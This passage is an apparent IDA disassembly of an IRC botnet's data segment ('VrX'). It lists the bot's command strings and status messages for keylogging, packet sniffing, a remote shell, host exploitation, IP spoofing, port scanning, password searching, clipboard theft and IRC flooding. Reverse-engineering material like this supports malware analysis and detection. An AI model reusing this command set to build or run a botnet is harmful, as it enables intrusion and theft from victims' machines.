; DATA XREF: sub_401ACD+4853o align 10h aC_m db 'c_m',0 ; DATA XREF: sub_401ACD+483Co aC_mode db 'c_mode',0 ; DATA XREF: sub_401ACD+4825o align 4 aC_r db 'c_r',0 ; DATA XREF: sub_401ACD+480Eo aC_raw db 'c_raw',0 ; DATA XREF: sub_401ACD+47F7o align 4 aM: ; DATA XREF: sub_401ACD+47E0o ; ___:004387C8o ... unicode 0, <m>,0 aCy db 'cy',0 ; DATA XREF: sub_401ACD+47B2o align 10h aCycle db 'cycle',0 ; DATA XREF: sub_401ACD+479Bo align 4 aA: ; DATA XREF: sub_401ACD+4784o unicode 0, <a>,0 aAction db 'action',0 ; DATA XREF: sub_401ACD+476Do align 4 aPrivmsg_0 db 'privmsg',0 ; DATA XREF: sub_401ACD+473Fo aAa db 'aa',0 ; DATA XREF: sub_401ACD+4728o align 10h aAddalias db 'addalias',0 ; DATA XREF: sub_401ACD+4711o align 4 aKl db 'kl',0 ; DATA XREF: sub_401ACD+46FAo align 10h aKilllog db 'killlog',0 ; DATA XREF: sub_401ACD+46E3o aGh db 'gh',0 ; DATA XREF: sub_401ACD+46BAo align 4 aGethost db 'gethost',0 ; DATA XREF: sub_401ACD+46A3o unk_42B254 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_406163o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aCommandUnknown db '- Command unknown.',0 unk_42B270 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_406159o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aNoMessageSpeci db '- No message specified.',0 align 4 aSend db 'send',0 ; DATA XREF: sub_401ACD+465Bo ; sub_409909+5F0o align 4 unk_42B29C db 2Dh ; - ; DATA XREF: sub_401ACD:loc_40611Do db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aUserListFailed db '- User list failed.',0 align 4 unk_42B2BC db 2Dh ; - ; DATA XREF: sub_401ACD+4646o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aUserListComple db '- User list completed.',0 unk_42B2DC db 2Dh ; - ; DATA XREF: sub_401ACD:loc_406091o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aShareListFaile db '- Share list failed.',0 align 4 unk_42B2FC db 2Dh ; - ; DATA XREF: sub_401ACD+45BAo db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aShareListCompl db '- Share list completed.',0 align 10h aShare db 'share',0 ; DATA XREF: sub_401ACD+4567o align 4 aContinue db 'continue',0 ; DATA XREF: sub_401ACD+4527o align 4 aPause db 'pause',0 ; DATA XREF: sub_401ACD+450Fo align 4 unk_42B33C db 2Dh ; - ; DATA XREF: sub_401ACD:loc_405FB9o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aServiceListFai db '- Service list failed.',0 unk_42B35C db 2Dh ; - ; DATA XREF: sub_401ACD+44E2o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aServiceListCom db '- Service list completed.',0 align 10h aStart db 'start',0 ; DATA XREF: sub_401ACD+44ABo align 4 unk_42B388 db 2Dh ; - ; DATA XREF: sub_401ACD+4478o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aFailedToLoadAd db '- Failed to load advapi32.dll or netapi32.dll.',0 aNet db 'net',0 ; DATA XREF: sub_401ACD+4454o aStop db 'stop',0 ; DATA XREF: sub_401ACD+4426o ; sub_401ACD+443Do ... align 4 aKeylog db 'keylog',0 ; DATA XREF: sub_401ACD+440Fo align 4 aKeyloger db 'keyloger',0 ; DATA XREF: sub_401ACD+43F8o align 10h dword_42B3E0 dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: sub_401ACD:loc_405EB8o aNoThreadFound_ db '- No thread found.',0 align 10h dword_42B400 dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: sub_401ACD+43E1o aServerStopped_ db '- Server stopped. (%d thread(s) stopped.)',0 align 4 dword_42B438 dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: sub_401ACD+43B3o aFailedToSta_13 db '- Failed to start server, error: <%d>.',0 align 4 dword_42B46C dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: sub_401ACD+4366o aServerRunnin_0 db '- Server running on Port: 113.',0 align 4 dword_42B498 dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: sub_401ACD+4356o aAlreadyRunning db '- Already running.',0 align 4 aIdent db 'ident',0 ; DATA XREF: sub_401ACD+4325o align 10h unk_42B4C0 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_405DE5o db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aNoVrxSnifferTh db '- No VrX sniffer thread found.',0 unk_42B4EC db 2Dh ; - ; DATA XREF: sub_401ACD+430Eo db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aVrxSnifferStop db '- VrX sniffer stopped. (%d thread(s) stopped.)',0 unk_42B528 db 2Dh ; - ; DATA XREF: sub_401ACD+42E0o db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aFailedToSta_14 db '- Failed to start sniffer thread, error: <%d>.',0 unk_42B564 db 2Dh ; - ; DATA XREF: sub_401ACD+4271o db 3, 34h, 2 db 53h ; S db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aVrxPacketSniff db '- VrX packet sniffer active.',0 align 10h unk_42B590 db 2Dh ; - ; DATA XREF: sub_401ACD+420Ao db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aAlreadyRunni_0 db '- Already running.',0 aSniffer db 'sniffer',0 ; DATA XREF: sub_401ACD+41D5o dword_42B5B8 dd 234032Dh, 696E7370h, 3026666h ; DATA XREF: sub_401ACD:loc_405C95o aNoCarnivoreThr db '- No Carnivore thread found.',0 align 4 dword_42B5E4 dd 234032Dh, 696E7370h, 3026666h ; DATA XREF: sub_401ACD+41BEo aCarnivoreStopp db '- Carnivore stopped. (%d thread(s) stopped.)',0 align 10h dword_42B620 dd 234032Dh, 696E7370h, 3026666h ; DATA XREF: sub_401ACD+4190o aFailedToSta_15 db '- Failed to start sniffer thread, error: <%d>.',0 align 4 dword_42B65C dd 234032Dh, 696E7370h, 3026666h ; DATA XREF: sub_401ACD+4121o aCarnivorePacke db '- Carnivore packet sniffer active.',0 align 4 dword_42B68C dd 234032Dh, 696E7370h, 3026666h ; DATA XREF: sub_401ACD+40BAo aAlreadyRunni_1 db '- Already running.',0 align 4 aOn db 'on',0 ; DATA XREF: sub_401ACD+409Ao ; sub_401ACD+41EAo ... align 10h aPsniff db 'psniff',0 ; DATA XREF: sub_401ACD+4085o align 4 aRf db 'rf',0 ; DATA XREF: sub_401ACD+406Eo align 4 aReadfile db 'readfile',0 ; DATA XREF: sub_401ACD+4057o align 4 aCm db 'cm',0 ; DATA XREF: sub_401ACD+4040o align 4 aCmd db 'cmd',0 ; DATA XREF: sub_401ACD+4029o aMirc db 'mirc',0 ; DATA XREF: sub_401ACD+4012o align 4 aMirccmd db 'mirccmd',0 ; DATA XREF: sub_401ACD+3FFBo aV: ; DATA XREF: sub_401ACD+3FE4o ; ___:004387BCo ... unicode 0, <v>,0 aVisit db 'visit',0 ; DATA XREF: sub_401ACD+3FCDo align 4 aLi db 'li',0 ; DATA XREF: sub_401ACD+3FB6o align 10h aList db 'list',0 ; DATA XREF: sub_401ACD+3F9Fo align 4 aGt db 'gt',0 ; DATA XREF: sub_401ACD+3F88o align 4 aDel db 'del',0 ; DATA XREF: sub_401ACD+3F5Ao aDelete db 'delete',0 ; DATA XREF: sub_401ACD+3F43o ; sub_401ACD+453Fo align 4 aKi db 'ki',0 ; DATA XREF: sub_401ACD+3F2Co align 4 aKill db 'kill',0 ; DATA XREF: sub_401ACD+3F15o align 4 aKp db 'kp',0 ; DATA XREF: sub_401ACD+3EFEo align 4 aKillproc db 'killproc',0 ; DATA XREF: sub_401ACD+3EE7o align 4 aDn db 'dn',0 ; DATA XREF: sub_401ACD+3ED0o align 4 aDns db 'dns',0 ; DATA XREF: sub_401ACD+3EB9o aSe db 'se',0 ; DATA XREF: sub_401ACD+3EA2o align 10h aO: ; DATA XREF: sub_401ACD+3E74o ; ___:00438AECo unicode 0, <o>,0 aOpen db 'open',0 ; DATA XREF: sub_401ACD+3E5Do ; sub_401ACD+583Ao ... align 4 aPr db 'pr',0 ; DATA XREF: sub_401ACD+3E46o align 10h aPrefix db 'prefix',0 ; DATA XREF: sub_401ACD+3E2Fo align 4 aC_rn db 'c_rn',0 ; DATA XREF: sub_401ACD+3E18o align 10h aC_rndnick db 'c_rndnick',0 ; DATA XREF: sub_401ACD+3E01o align 4 aC_q db 'c_q',0 ; DATA XREF: sub_401ACD+3DEAo aC_quit db 'c_quit',0 ; DATA XREF: sub_401ACD+3DD3o align 4 aKillthread db 'killthread',0 ; DATA XREF: sub_401ACD+3DA5o align 4 aRaw db 'raw',0 ; DATA XREF: sub_401ACD+3D77o aPt db 'pt',0 ; DATA XREF: sub_401ACD+3D60o align 4 aJ: ; DATA XREF: sub_401ACD+3D32o unicode 0, <j>,0 aN: ; DATA XREF: sub_401ACD+3D04o ; ___:004387C4o ... unicode 0, <n>,0 unk_42B784 db 2Dh ; - ; DATA XREF: sub_401ACD+3CCFo db 3, 34h, 2 db 69h ; i db 72h, 63h, 66h db 75h ; u db 63h, 6Bh, 2 db 3 aDisconnectingC db '- disconnecting clones...',0 align 4 aNickservRegist db 'nickserv register %s %s',0 ; DATA XREF: sub_401ACD+3C66o aRegister db 'register',0 ; DATA XREF: sub_401ACD+3C3Do align 10h aPrivmsgSS_0 db 'PRIVMSG %s :%s',0 ; DATA XREF: sub_401ACD+3BE2o align 10h aMix db 'mix',0 ; DATA XREF: sub_401ACD+3B0Do dword_42B7E4 dd 56495250h, 2047534Dh, 3A207325h, 6E696601h, 1726567h ; DATA XREF: sub_401ACD+3AB7o ; sub_401ACD+3AF2o dd 0 dword_42B7FC dd 56495250h, 2047534Dh, 3A207325h, 72657601h, 6E6F6973h ; DATA XREF: sub_401ACD+3A7Co dd 1 dword_42B814 dd 56495250h, 2047534Dh, 3A207325h, 6E697001h, 167h ; DATA XREF: sub_401ACD+3A41o ; sub_401ACD+3B62o aCtcp db 'ctcp',0 ; DATA XREF: sub_401ACD+39ECo align 10h aNoticeSS_0 db 'NOTICE %s :%s',0 ; DATA XREF: sub_401ACD+3951o ; sub_401ACD+3991o ... align 10h aNotice_0 db 'notice',0 ; DATA XREF: sub_401ACD+38F7o align 4 aMsg db 'msg',0 ; DATA XREF: sub_401ACD+3802o aChgnick db 'chgnick',0 ; DATA XREF: sub_401ACD+37BDo aNick_0 db 'nick',0 ; DATA XREF: sub_401ACD+36B5o ; sub_401ACD+3CEDo align 4 dword_42B85C dd 56495250h, 2047534Dh, 3A207325h, 43434401h, 4E455320h ; DATA XREF: sub_401ACD+369Ao dd 64252044h, 2064252Eh, 25206425h, 64252064h, 1 dword_42B884 dd 636364h ; DATA XREF: sub_401ACD+361Do dword_42B888 dd 6E696F6Ah, 7261702Fh, 74h ; DATA XREF: sub_401ACD+34C6o dword_42B894 dd 4B43494Eh, 732520h ; DATA XREF: sub_401ACD+34ABo ; sub_401ACD+3712o ... dword_42B89C dd 69257325h, 0 ; DATA XREF: sub_401ACD+3490o ; sub_40AAAC+4Fo ... aPnick db 'pnick',0 ; DATA XREF: sub_401ACD+344Fo align 4 aPartSS db 'part %s %s',0 ; DATA XREF: sub_401ACD+3434o ; sub_401ACD+3520o ... align 4 aPartflood db 'partflood',0 ; DATA XREF: sub_401ACD+340Do align 4 aPartS db 'part %s',0 ; DATA XREF: sub_401ACD+33F2o aPart_0 db 'part',0 ; DATA XREF: sub_401ACD+33D0o ; sub_401ACD+3D49o align 4 aJoinS db 'join %s',0 ; DATA XREF: sub_401ACD+33B5o ; sub_401ACD+34F4o ... aJoin db 'join',0 ; DATA XREF: sub_401ACD+3393o ; sub_401ACD+3D1Bo align 4 aModeSS db 'mode %s %s',0 ; DATA XREF: sub_401ACD+3378o align 10h aMode db 'mode',0 ; DATA XREF: sub_401ACD+3329o ; sub_401ACD+47C9o align 4 aNoticeSS_1 db 'notice %s :%s',0 ; DATA XREF: sub_401ACD+330Eo align 4 aNt db 'nt',0 ; DATA XREF: sub_401ACD+32BFo align 4 dword_42B90C dd 76697270h, 2067736Dh, 3A207325h, 1732501h, 0 ; DATA XREF: sub_401ACD+32A4o dword_42B920 dd 7463h ; DATA XREF: sub_401ACD+3255o dword_42B924 dd 76697270h, 2067736Dh, 3A207325h, 7325h ; DATA XREF: sub_401ACD+323Ao ; sub_401ACD+385Co ... dword_42B934 dd 5Fh ; DATA XREF: sub_401ACD+320Bo ; sub_401ACD+3275o ... dword_42B938 dd 6D70h ; DATA XREF: sub_401ACD+31EBo ; sub_401ACD+4756o unk_42B93C db 2Dh ; - ; DATA XREF: sub_401ACD+31BBo db 3, 34h, 2 db 56h ; V db 72h, 58h, 20h db 46h ; F db 6Ch, 2 dup(6Fh) db 64h ; d db 2, 3, 2Dh aSClonesLoadedT db ' %s clones loaded to %s:%s',0 align 4 aLoad db 'load',0 ; DATA XREF: sub_401ACD+3164o align 10h aFlood db 'flood',0 ; DATA XREF: sub_401ACD+3143o align 4 aRinms db 'rinms',0 ; DATA XREF: sub_401ACD+312Co align 10h aReconnect_in_m db 'reconnect.in.ms',0 ; DATA XREF: sub_401ACD+3115o aRin db 'rin',0 ; DATA XREF: sub_401ACD+30FEo aReconnect_in db 'reconnect.in',0 ; DATA XREF: sub_401ACD+30E7o align 4 unk_42B9A4 db 2Dh ; - ; DATA XREF: sub_401ACD+30DAo db 3, 34h, 2 db 65h ; e db 78h, 70h, 6Ch db 6Fh ; o db 69h, 74h, 2 db 3 aFailedToStartE db '- Failed to start exploiter thread, error: <%d>.',0 align 4 unk_42B9E4 db 2Dh ; - ; DATA XREF: sub_401ACD+3068o db 3, 34h, 2 db 65h ; e db 78h, 70h, 6Ch db 6Fh ; o db 69h, 74h, 2 db 3 aAttemptingToCo db '- attempting to compromise %s...',0 align 4 aExploit db 'exploit',0 ; DATA XREF: sub_401ACD+2FE1o unk_42BA1C db 2Dh ; - ; DATA XREF: sub_401ACD+2FC5o db 3, 34h, 2 db 77h ; w db 69h, 73h, 64h db 6Fh ; o db 6Dh, 28h, 73h db 70h ; p db 2 dup(6Fh), 66h db 29h ; ) db 2, 3, 2Dh aSpoofIpSetToS_ db ' Spoof IP set to ',27h,'%s',27h,'.',0 align 4 unk_42BA48 db 2Dh ; - ; DATA XREF: sub_401ACD+2FA7o db 3, 34h, 2 db 77h ; w db 69h, 73h, 64h db 6Fh ; o db 6Dh, 28h, 73h db 70h ; p db 2 dup(6Fh), 66h db 29h ; ) db 2, 3, 2Dh aSIsAnInvalidIp db ' ',27h,'%s',27h,' is an invalid IP address.',0 aD_D_D_ db '%d.%d.%d.*',0 ; DATA XREF: sub_401ACD+2F83o align 4 unk_42BA88 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_4049F7o db 3, 34h, 2 db 77h ; w db 69h, 73h, 64h db 6Fh ; o db 6Dh, 28h, 73h db 70h ; p db 2 dup(6Fh), 66h db 29h ; ) db 2, 3, 2Dh aSpoofingCurren db ' Spoofing currently set to ',27h,'%s',27h,'.',0 align 10h aGet db 'get',0 ; DATA XREF: sub_401ACD:loc_4049D9o ; sub_401ACD+3F71o unk_42BAC4 db 3 ; DATA XREF: sub_401ACD+2E9Ao a81VrxInvalidLo db '8,1-VrX- Invalid login slot number: %d.',0 align 10h unk_42BAF0 db 3 ; DATA XREF: sub_401ACD+2E8Fo a81VrxNoUserLog db '8,1-VrX- No user logged in at slot: %d.',0 align 4 dword_42BB1C dd 312C3803h, 5872562Dh, 7325202Dh, 0 ; DATA XREF: sub_401ACD+2E3Ao unk_42BB2C db 3 ; DATA XREF: sub_401ACD:loc_4048F8o a81VrxPoweredBy db '8,1-VrX- Powered By VIrUs & zerX! zerX.Virus Rules! (VIrUs@Power-' db 'Hackers.com).',0 dword_42BB7C dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_401ACD+2E08o aFailedToSta_16 db '- Failed to start secure thread, error: <%d>.',0 align 4 dword_42BBB8 dd 234032Dh, 75636573h, 3026572h, 7325202Dh, 73797320h ; DATA XREF: sub_401ACD+2D8Eo dd 2E6D6574h, 0 aUnsecuring db 'Unsecuring',0 ; DATA XREF: sub_401ACD+2D88o align 10h aSecuring db 'Securing',0 ; DATA XREF: sub_401ACD+2D81o align 4 unk_42BBEC db 2Dh ; - ; DATA XREF: sub_401ACD+2D0Ao db 3, 34h, 2 db 62h ; b db 69h, 6Eh, 64h db 73h ; s db 68h, 65h, 6Ch db 6Ch ; l db 2, 3, 2Dh aFailedToSta_17 db ' Failed to start server thread, error: <%d>.',0 align 4 unk_42BC2C db 2Dh ; - ; DATA XREF: sub_401ACD+2C86o db 3, 34h, 2 db 62h ; b db 69h, 6Eh, 64h db 73h ; s db 68h, 65h, 6Ch db 6Ch ; l db 2, 3, 2Dh aServerStartedO db ' Server started on: %s:%d.',0 align 4 dword_42BC58 dd 234032Dh, 6B636F73h, 3023473h ; DATA XREF: sub_401ACD+2C04o aFailedToSta_18 db '- Failed to start server thread, error: <%d>.',0 align 4 dword_42BC94 dd 234032Dh, 6B636F73h, 3023473h ; DATA XREF: sub_401ACD+2B95o aServerStarte_0 db '- Server started on: %s:%d.',0 dword_42BCBC dd 234032Dh, 646E6966h, 656C6966h, 2D0302h ; DATA XREF: sub_401ACD+2AE2o dword_42BCCC dd 646E6946h, 6C696620h, 65h ; DATA XREF: sub_401ACD+2ADDo dword_42BCD8 dd 234032Dh, 636F7270h, 2D030273h, 0 ; DATA XREF: sub_401ACD+2ACAo dword_42BCE8 dd 636F7250h, 20737365h, 7473696Ch, 0 ; DATA XREF: sub_401ACD+2AC5o unk_42BCF8 db 3 ; DATA XREF: sub_401ACD+2A52o a81VrxReconne_1 db '8,1-VrX- Reconnecting.',0 aQuitReconnecti db 'QUIT :reconnecting',0Dh,0Ah,0 ; DATA XREF: sub_401ACD:loc_404512o ; sub_401ACD:loc_409570o ... align 4 unk_42BD28 db 3 ; DATA XREF: sub_401ACD+2A30o a81VrxDisconnec db '8,1-VrX- Disconnecting.',0 align 4 aQuitDisconnect db 'QUIT :disconnecting',0Dh,0Ah,0 ; DATA XREF: sub_401ACD:loc_4044F0o align 4 aQuitLater db 'QUIT :later',0Dh,0Ah,0 ; DATA XREF: sub_401ACD:loc_4044DAo ; sub_401ACD+78C1o align 4 aQuitS db 'QUIT :%s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+29FBo align 4 unk_42BD78 db 3 ; DATA XREF: sub_401ACD+29D4o a81VrxStatusRea db '8,1-VrX- Status: Ready. Bot Uptime: %s.',0 align 4 unk_42BDA4 db 3 ; DATA XREF: sub_401ACD+2995o a81VrxBotIdS_ db '8,1-VrX- Bot ID: %s.',0 align 4 unk_42BDBC db 2Dh ; - ; DATA XREF: sub_401ACD+2986o db 3, 34h, 2 db 74h ; t db 68h, 72h, 65h db 61h ; a db 64h, 73h, 2 db 3 aFailedToSta_19 db '- Failed to start list thread, error: <%d>.',0 align 4 dword_42BDF8 dd 234032Dh, 65726874h, 2736461h, 4C202D03h, 20747369h ; DATA XREF: sub_401ACD+2917o dd 65726874h, 2E736461h, 0 dword_42BE18 dd 627573h ; DATA XREF: sub_401ACD+28F1o unk_42BE1C db 3 ; DATA XREF: sub_401ACD+289Fo a81VrxAliasList db '8,1-VrX- Alias list.',0 align 4 unk_42BE34 db 2Dh ; - ; DATA XREF: sub_401ACD+2884o db 3, 34h, 2 db 6Ch ; l db 6Fh, 67h, 2 db 3 aFailedToSta_20 db '- Failed to start listing thread, error: <%d>.',0 dword_42BE6C dd 234032Dh, 2676F6Ch, 4C202D03h, 69747369h, 6C20676Eh ; DATA XREF: sub_401ACD+2815o dd 2E676Fh unk_42BE84 db 3 ; DATA XREF: sub_401ACD+276Do a81VrxNetworkIn db '8,1-VrX- Network Info.',0 unk_42BE9C db 3 ; DATA XREF: sub_401ACD+273Eo a81VrxSystemInf db '8,1-VrX- System Info.',0 align 4 unk_42BEB4 db 3 ; DATA XREF: sub_401ACD+26E9o a81VrxRemovingB db '8,1-VrX- Removing Bot.',0 unk_42BECC db 2Dh ; - ; DATA XREF: sub_401ACD+26CDo db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aFailedToSta_21 db ' Failed to start listing thread, error: <%d>.',0 align 4 dword_42BF08 dd 234032Dh, 636F7270h, 2D030273h, 6F725020h, 73656363h ; DATA XREF: sub_401ACD+2658o dd 696C2073h, 2E7473h aFull db 'full',0 ; DATA XREF: sub_401ACD+2638o align 4 unk_42BF2C db 2Dh ; - ; DATA XREF: sub_401ACD+25D9o db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aAlreadyRunni_2 db ' Already running.',0 align 4 unk_42BF4C db 3 ; DATA XREF: sub_401ACD+2588o a81VrxUptimeS_ db '8,1-VrX- Uptime: %s.',0 align 4 unk_42BF64 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_403F8Ao db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aRemoteShellRea db '- Remote shell ready.',0 align 4 unk_42BF84 db 2Dh ; - ; DATA XREF: sub_401ACD+24B6o db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aCouldnTOpenRem db '- Couldn',27h,'t open remote shell.',0 align 4 unk_42BFAC db 2Dh ; - ; DATA XREF: sub_401ACD+249Ao db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aRemoteShellAlr db '- Remote shell already running.',0 align 4 unk_42BFD8 db 3 ; DATA XREF: sub_401ACD+2484o a81VrxGetClipbo db '8,1-VrX- Get Clipboard.',0 align 4 dword_42BFF4 dd 234032Dh, 70696C63h, 72616F62h, 61642064h, 3026174h ; DATA XREF: sub_401ACD+2456o dd 2Dh unk_42C00C db 2Dh ; - ; DATA XREF: sub_401ACD:loc_403F13o db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aFailedToFlushA db 'Failed to flush ARP cache.',0 align 4 unk_42C038 db 2Dh ; - ; DATA XREF: sub_401ACD+243Fo db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aArpCacheFlushe db 'ARP cache flushed.',0 align 4 unk_42C05C db 2Dh ; - ; DATA XREF: sub_401ACD:loc_403EE8o db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aFailedToLoadDn db 'Failed to load dnsapi.dll.',0 align 4 unk_42C088 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_403EE1o db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aFailedToFlushD db 'Failed to flush DNS cache.',0 align 4 unk_42C0B4 db 2Dh ; - ; DATA XREF: sub_401ACD+240Do db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aDnsCacheFlushe db 'DNS cache flushed.',0 align 4 unk_42C0D8 db 2Dh ; - ; DATA XREF: sub_401ACD+23BAo db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aFailedToSta_22 db '- Failed to start server thread, error: <%d>.',0 align 4 unk_42C114 db 2Dh ; - ; DATA XREF: sub_401ACD+234Bo db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aServerListenin db '- Server listening on IP: %s:%d, Username: %s.',0 unk_42C150 db 2Dh ; - ; DATA XREF: sub_401ACD+2265o db 3, 34h, 2 db 68h ; h db 2 dup(74h), 70h db 64h ; d db 2, 3, 2Dh aFailedToSta_23 db ' Failed to start server thread, error: <%d>.',0 align 4 unk_42C18C db 2Dh ; - ; DATA XREF: sub_401ACD+21FAo ; sub_40BD91+449o db 3, 34h, 2 db 68h ; h db 2 dup(74h), 70h db 64h ; d db 2, 3, 2Dh aServerListen_0 db ' Server listening on IP: %s:%d, Directory: %s\.',0 unk_42C1C8 db 2Dh ; - ; DATA XREF: sub_401ACD+20F3o db 3, 34h, 2 db 74h ; t db 66h, 74h, 70h db 64h ; d db 2, 3, 2Dh aFailedToSta_24 db ' Failed to start server thread, error: <%d>.',0 align 4 unk_42C204 db 2Dh ; - ; DATA XREF: sub_401ACD+2084o ; sub_40BD91+DAo db 3, 34h, 2 db 74h ; t db 66h, 74h, 70h db 64h ; d db 2, 3, 2Dh aServerStarte_1 db ' Server started on Port: %d, File: %s.',0 align 4 unk_42C238 db 2Dh ; - ; DATA XREF: sub_401ACD+1FCFo db 3, 34h, 2 db 74h ; t db 66h, 74h, 70h db 64h ; d db 2, 3, 2Dh aAlreadyRunni_3 db ' Already running.',0 align 4 unk_42C258 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_403A86o db 3, 34h, 2 db 4Dh ; M db 61h, 2 dup(53h) db 20h db 53h, 63h, 41h db 6Eh ; n db 2, 3, 2Dh aFailedToSta_25 db ' Failed to start scan, port is invalid.',0 unk_42C290 db 2Dh ; - ; DATA XREF: sub_401ACD+1F6Co db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 61h ; a db 2 dup(6Ch), 2 db 3 aFailedToSta_26 db '- Failed to start scan thread, error: <%d>.',0 align 4 unk_42C2CC db 2Dh ; - ; DATA XREF: sub_401ACD+1EFBo db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 61h ; a db 2 dup(6Ch), 2 db 3 aSPortScanStart db '- %s Port Scan started on %s:%d with a delay of %d seconds for %d' db ' minutes using %d threads.',0 align 4 aSequential db 'Sequential',0 ; DATA XREF: sub_401ACD+1ED0o ; sub_401ACD+5B20o align 4 aRandom db 'Random',0 ; DATA XREF: sub_401ACD+1EC9o ; sub_401ACD+5B19o align 4 dword_42C34C dd 234032Dh, 3025A56h ; DATA XREF: sub_401ACD+1D0Fo aAlreadyDScanni db '- Already %d scanning threads. Too many specified.',0 align 4 unk_42C388 db 2Dh ; - ; DATA XREF: sub_401ACD+1CB2o db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 70h ; p db 61h, 2 dup(73h) db 2 db 3, 2Dh, 20h aFailedToSta_27 db 'Failed to start search thread, error: <%d>.',0 unk_42C3C4 db 2Dh ; - ; DATA XREF: sub_401ACD+1C38o db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 70h ; p db 61h, 2 dup(73h) db 2 db 3, 2Dh, 20h aSearchingForPa db 'Searching for password.',0 aFp db 'fp',0 ; DATA XREF: sub_401ACD+1BEFo align 10h aFindpass db 'findpass',0 ; DATA XREF: sub_401ACD+1BDEo align 4 aNoticeSPhoning db 'NOTICE %s :PHONING HOME: DADI Are You There?! ;).',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+1BC8o aPhonehome db 'phonehome',0 ; DATA XREF: sub_401ACD+1BB1o align 4 aAs db 'as',0 ; DATA XREF: sub_401ACD+1B9Co align 10h aAsc db 'asc',0 ; DATA XREF: sub_401ACD+1B87o unk_42C444 db 3 ; DATA XREF: sub_401ACD+1B37o a81VrxCrashingB db '8,1-VrX- Crashing bot.',0 aShitycrash db 'shitycrash',0 ; DATA XREF: sub_401ACD+1B21o ; sub_401ACD+1B71o align 4 aTftp db 'tftp',0 ; DATA XREF: sub_401ACD+1B0Co align 10h aTftpserver db 'tftpserver',0 ; DATA XREF: sub_401ACD+1AF7o align 4 aHttp db 'http',0 ; DATA XREF: sub_401ACD+1AE2o align 4 aHttpserver db 'httpserver',0 ; DATA XREF: sub_401ACD+1ACDo align 10h aRlogin db 'rlogin',0 ; DATA XREF: sub_401ACD+1AB8o align 4 aRloginserver db 'rloginserver',0 ; DATA XREF: sub_401ACD+1AA3o align 4 aCip db 'cip',0 ; DATA XREF: sub_401ACD+1A8Eo aCurrentip db 'currentip',0 ; DATA XREF: sub_401ACD+1A79o align 4 aFdns db 'fdns',0 ; DATA XREF: sub_401ACD+1A64o align 10h aFlushdns db 'flushdns',0 ; DATA XREF: sub_401ACD+1A4Fo align 4 aFarp db 'farp',0 ; DATA XREF: sub_401ACD+1A3Ao align 4 aFlusharp db 'flusharp',0 ; DATA XREF: sub_401ACD+1A25o align 10h aGc db 'gc',0 ; DATA XREF: sub_401ACD+1A10o align 4 aGetclip db 'getclip',0 ; DATA XREF: sub_401ACD+19FBo unk_42C4EC db 2Dh ; - ; DATA XREF: sub_401ACD+19BDo db 3, 34h, 2 db 77h ; w db 69h, 73h, 64h db 6Fh ; o db 6Dh, 28h, 73h db 70h ; p db 2 dup(6Fh), 66h db 29h ; ) db 2, 3, 2Dh aSpoofingDisabl db ' Spoofing disabled.',0 aOff db 'off',0 ; DATA XREF: sub_401ACD+19A2o ; sub_401ACD+3C81o ... aSpoof db 'spoof',0 ; DATA XREF: sub_401ACD+198Eo align 10h unk_42C520 db 3 ; DATA XREF: sub_401ACD+196Eo a81VrxLoginList db '8,1-VrX- Login list complete.',0 align 10h aD_S db '%d. %s',0 ; DATA XREF: sub_401ACD+1939o align 4 aEmpty db '<Empty>',0 ; DATA XREF: 